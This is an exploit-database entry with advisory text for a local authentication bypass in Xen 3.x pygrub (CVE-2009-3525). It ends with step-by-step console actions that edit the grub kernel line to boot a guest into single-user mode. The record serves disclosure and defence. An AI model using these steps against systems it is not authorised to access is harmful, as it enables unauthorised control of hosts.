Xen 3.x - pygrub Local Authentication Bypass

Author: Jan Lieskovsky
type: local
platform: linux
port: 
date_added: 2009-09-25 
date_updated: 2014-05-09 
verified: 1 
codes: CVE-2009-3525;OSVDB-58621 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/36523/info

Xen is prone to a local authentication-bypass vulnerability.

A local attacker with physical access to an affected host can exploit this issue to bypass authentication and modify the 'grub.conf' file. This may aid in a complete compromise of the affected system.

Xen 3.0.3, 3.3.0, and 3.3.1 are affected; other versions may also be vulnerable.

xm create -c guest
press space bar to stop the grub count down
press e to edit
select the kernel line and press e
Append a "1" to the end of the kernel line and press return
press "b" to boot